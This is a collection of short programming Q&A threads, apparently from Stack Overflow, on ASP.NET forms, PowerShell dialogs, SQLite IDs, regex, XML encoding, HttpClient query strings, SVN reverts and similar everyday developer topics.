Html.BeginForm and adding properties <p>How would I go about adding <code>enctype="multipart/form-data"</code> to a form that is generated by using <code>&lt;% Html.BeginForm(); %&gt;</code>?</p>
<p>As part of htmlAttributes,e.g.</p> <pre><code>Html.BeginForm( action, controller, FormMethod.Post, new { enctype="multipart/form-data"}) </code></pre> <p>Or you can pass <code>null</code> for action and controller to get the same default target as for BeginForm() without any parameters:</p> <pre><code>Html.BeginForm( null, null, FormMethod.Post, new { enctype="multipart/form-data"}) </code></pre>
call OpenFileDialog from powershell <p>When I run the following, PowerShell hangs waiting for the dialog to close, even though the dialog is never displayed:</p> <pre><code>[void] [Reflection.Assembly]::LoadWithPartialName( 'System.Windows.Forms' ) $d = New-Object Windows.Forms.OpenFileDialog $d.ShowDialog( ) </code></pre> <p>Calling <code>ShowDialog</code> on a <code>Windows.Forms.Form</code> works fine. I also tried creating a <code>Form</code> and passing it as the parent to <code>$d.ShowDialog</code>, but the result was no different.</p>
<p>I was able to duplicate your problem and found a workaround. I don't know why this happens, but it has happened to others.</p> <p>If you set the ShowHelp property to $true, you will get the dialog to come up properly.</p> <p>Example:</p> <pre><code>[void] [Reflection.Assembly]::LoadWithPartialName( 'System.Windows.Forms' ) $d = New-Object Windows.Forms.OpenFileDialog $d.ShowHelp = $true $d.ShowDialog( ) </code></pre> <p>Good Luck!</p>
What's the best way to get the last inserted id using sqlite from Java? <p>What's the best way to get the last inserted id using sqlite from Java? Google is giving me different answers--some say select the last-insert-rowid; others say call statement.getGeneratedKeys(). What's the best route to take? (I just want to return the id, not use it for other inserts or anything.)</p>
<p>Either approach executes the same exact SQL statement, but <a href="http://java.sun.com/javase/6/docs/api/java/sql/Statement.html#getGeneratedKeys()"><code>java.sql.Statement.getGeneratedKeys()</code></a> is more portable to different underlying databases.</p> <p>Using either the <a href="http://www.sqlite.org/c3ref/last%5Finsert%5Frowid.html"><code>sqlite3_last_insert_rowid()</code></a> C API function or the <a href="http://www.sqlite.org/lang%5Fcorefunc.html"><code>last_insert_rowid()</code></a> SQL function is the correct way to retrieve the rowid generated during the last insert.</p> <p>SQLite supports the <a href="http://en.wikipedia.org/wiki/User-defined%5Ffunction">SQL scalar function</a> syntax as:</p> <pre><code>SELECT function-name(); </code></pre> <p>Therefore, if you do not have access to the C API directly, you can invoke the scalar function <code>last_insert_rowid()</code> via a <code>SELECT</code> statement.</p> <p>If you look at the <a href="http://www.google.com/codesearch/p?hl=en#YeZoLeH6dBk/src/org/sqlite/MetaData.java&amp;q=%22select%20last%5Finsert%5Frowid%22%20metadata.java">source code</a> for the <a href="http://www.zentus.com/sqlitejdbc/">SQLiteJDBC</a> implementation (is this what you're using?) you will see that this is exactly what the author of that JDBC wrapper has done:</p> <pre><code>ResultSet getGeneratedKeys() throws SQLException { if (getGeneratedKeys == null) getGeneratedKeys = conn.prepareStatement( "select last_insert_rowid();"); return getGeneratedKeys.executeQuery(); } </code></pre>
Is it worth mitigating security risks in every application <p>As web developers our applications are vulnerable to a number of security holes (xss, sql-injects,etc...). I'm a firm believer that if you're writing an app it should be protected from all of these well known vulnerabilities. However, I'm having a hard time convincing my team (and management) that it's worth the effort. </p> <p>This leads me to wonder under what conditions should one fight the security fight? What are the factors that should be considered when deciding what security vulnerabilities to mitigate and which to ignore?</p>
<p>Your company should probably have Privacy and Data Protection policies in place, regardless of whether you're baking bread or developing web applications, and that should form the basis of your approach.</p> <p>Personally, I'd work on the basis of "What's the worst that could happen?", and act accordingly. If the 'worst' is that your intranet site gets taken down by a malicious internal user, then that maybe a risk worth living with. If the "worst" is that your customers unencrypted financials details are exposed, well...</p>
Trim whitespace from middle of string <p>I'm using the following regex to capture a fixed width "description" field that is always 50 characters long:</p> <pre><code>(?.{50}) </code></pre> <p>My problem is that the descriptions sometimes contain a <em>lot</em> of whitespace, e.g.</p> <pre><code>"FLUID COMPRESSOR " </code></pre> <p>Can somebody provide a regex that:</p> <ol> <li>Trims all whitespace off the end</li> <li>Collapses any whitespace in between words to a <strong>single space</strong></li> </ol>
<p>Substitute two or more spaces for one space:</p> <pre><code>s/ +/ /g </code></pre> <p>Edit: for any white space (not just spaces) you can use \s if you're using a perl-compatible regex library, and the curly brace syntax for number of occurrences, e.g.</p> <pre><code>s/\s\s+/ /g </code></pre> <p>or</p> <pre><code>s/\s{2,}/ /g </code></pre> <p>Edit #2: forgot the /g global suffix, thanks JL</p>
Repairing wrong encoding in XML files <p>One of our providers are sometimes sending XML feeds that are tagged as UTF-8 encoded documents but includes characters that are not included in the UTF-8 charset. This causes the parser to throw an exception and stop building the DOM object when these characters are encountered:</p> <pre><code>DocumentBuilder.parse(ByteArrayInputStream bais) </code></pre> <p>throws the following exception:</p> <pre><code>org.xml.sax.SAXParseException: Invalid byte 2 of 2-byte UTF-8 sequence. </code></pre> <p>Is there a way to "capture" these problems early and avoid the exception (i.e. finding and removing those characters from the stream)? What I'm looking for is a "best effort" type of fallback for wrongly encoded documents. The correct solution would obviously be to attack the problem at the source and make sure that only correct documents are delivered, but what is a good approach when that is not possible?</p>
<p>if the problem truly is the wrong encoding (as opposed to a mixed encoding), you don't need to re-encode the document to parse it. just parse it as a Reader instead of an InputStream and the dom parser will ignore the header:</p> <pre><code>DocumentBuilder.parse(new InpputSource(new InputStreamReader(inputStream, "&lt;real encoding&gt;"))); </code></pre>
Is there a way in .Net to programatically generate a DTD from an existing XML file? <p>I've been looking around the System.Xml namespace, but don't see anything that would support this. Does anyone know if it's built into .Net, or would I have to obtain a third party library to do it?</p> <p>NOTE: I wish it were as simple as generating an xsd, but that won't do for my specific situation.</p>
<p>It would be very easy to do, but very hard to make it useful.</p> <p>DTD is a grammar. It is trivial to generate a grammar that generates just the given XML file and no other. This is of course useless in practice. What you probably need is to create a grammar that generates files "like this one", and this is a hard AI problem.</p> <p>Edit: This problem is known as "Grammar Induction" or "Grammar Inference".</p>
Python/editline on OS X: £ sign seems to be bound to ed-prev-word <p>On Mac OS X I can’t enter a pound sterling sign (£) into the Python interactive shell.</p> <pre><code>* Mac OS X 10.5.5 * Python 2.5.1 (r251:54863, Jan 17 2008, 19:35:17) * European keyboard (£ is shift-3) </code></pre> <p>When I type shift-3 in the Python interactive shell, I seem to invoke the previous word function, i.e. the cursor will move to the start of the last “word” (i.e. space-delimited item) typed on the line. When I’m back in the bash shell, typing shift-3 just produces a £, as expected.</p> <p>This version of Python apparently uses editline for its interactive shell, as opposed to readline. I’m guessing that one of the default editline key bindings binds shift-3 (or whatever editline sees when I type shift-3) to the ed-prev-word command.</p> <p>I’ve tried a few things in my ~/.editrc file to remove this binding, and they don’t have any effect:</p> <ul> <li><code>bind -r £</code></li> <li><code>bind -r \243</code></li> <li><code>bind -r \156</code></li> </ul> <p>And another that causes a bus error:</p> <ul> <li><code>bind £ \243</code></li> </ul> <p>Any ideas?</p>
<p>This may be an editline issue; libedit may not accept UTF-8 characters:</p> <ul> <li><a href="http://tracker.firebirdsql.org/browse/CORE-362#action_11593" rel="nofollow">http://tracker.firebirdsql.org/browse/CORE-362#action_11593</a></li> <li><a href="http://marc.info/?t=119056021900002&amp;r=1&amp;w=2" rel="nofollow">http://marc.info/?t=119056021900002&amp;r=1&amp;w=2</a></li> </ul>
Flash CS3 movie fails in browser <p>My AS3-heavy project tests fine in the IDE, but some parts don't work in the browser when published. Any ideas what could be causing this?</p>
<p>It might help if you provide some more specific information on what's not working. Can you post a link? Furthermore, are any parts of your project referencing any remote objects? If so, you might want to make sure your remote objects are located where your app expects them to be. You may also need to add a crossdomain.xml to your server root if you're doing any cross site scripting.</p>
How do I add query parameters to a GetMethod (using Java commons-httpclient)? <p>Using Apache's commons-httpclient for Java, what's the best way to add query parameters to a GetMethod instance? If I'm using PostMethod, it's very straightforward:</p> <pre><code>PostMethod method = new PostMethod(); method.addParameter("key", "value"); </code></pre> <p>GetMethod doesn't have an "addParameter" method, though. I've discovered that this works:</p> <pre><code>GetMethod method = new GetMethod("http://www.example.com/page"); method.setQueryString(new NameValuePair[] { new NameValuePair("key", "value") }); </code></pre> <p>However, most of the examples I've seen either hard-code the parameters directly into the URL, e.g.:</p> <pre><code>GetMethod method = new GetMethod("http://www.example.com/page?key=value"); </code></pre> <p>or hard-code the query string, e.g.:</p> <pre><code>GetMethod method = new GetMethod("http://www.example.com/page"); method.setQueryString("?key=value"); </code></pre> <p>Is one of these patterns to be preferred? And why the API discrepancy between PostMethod and GetMethod? And what are all those other HttpMethodParams methods intended to be used for?</p>
<p>Post methods have post parameters, but <a href="http://www.cs.tut.fi/~jkorpela/forms/methods.html">get methods do not</a>.</p> <p>Query parameters are embedded in the URL. The current version of HttpClient accepts a string in the constructor. If you wanted to add the key, value pair above, you could use:</p> <pre><code>String url = "http://www.example.com/page?key=value"; GetMethod method = new GetMethod(url); </code></pre> <p>A good starting tutorial can be found on the <a href="http://hc.apache.org/httpclient-3.x/tutorial.html">Apache Jakarta Commons page</a>.</p> <p><strong>Update</strong>: As suggested in the comment, NameValuePair works.</p> <pre><code>GetMethod method = new GetMethod("example.com/page"); method.setQueryString(new NameValuePair[] { new NameValuePair("key", "value") }); </code></pre>
How to quarantine a specific subversion revision? <p>I have a revision that has been committed to SVN trunk which I would like to roll back. However, I would like to retain the changes in some fashion such as a branch or even a patch file. Any suggestions?</p>
<p>Reverse-merge (I think that was the term), commit and that's all.</p> <p>For the "reverse-merge" part - TSVN has this cool feature called "Revert to this revision" (and "Revert changes from this revision"), accessible through the Log dialogue.</p> <p>The main purpose of a VCS is to keep history of your changes. You could always go back to this particular revision by using "Update to revision..." or by using the aforementioned "shortcuts".</p>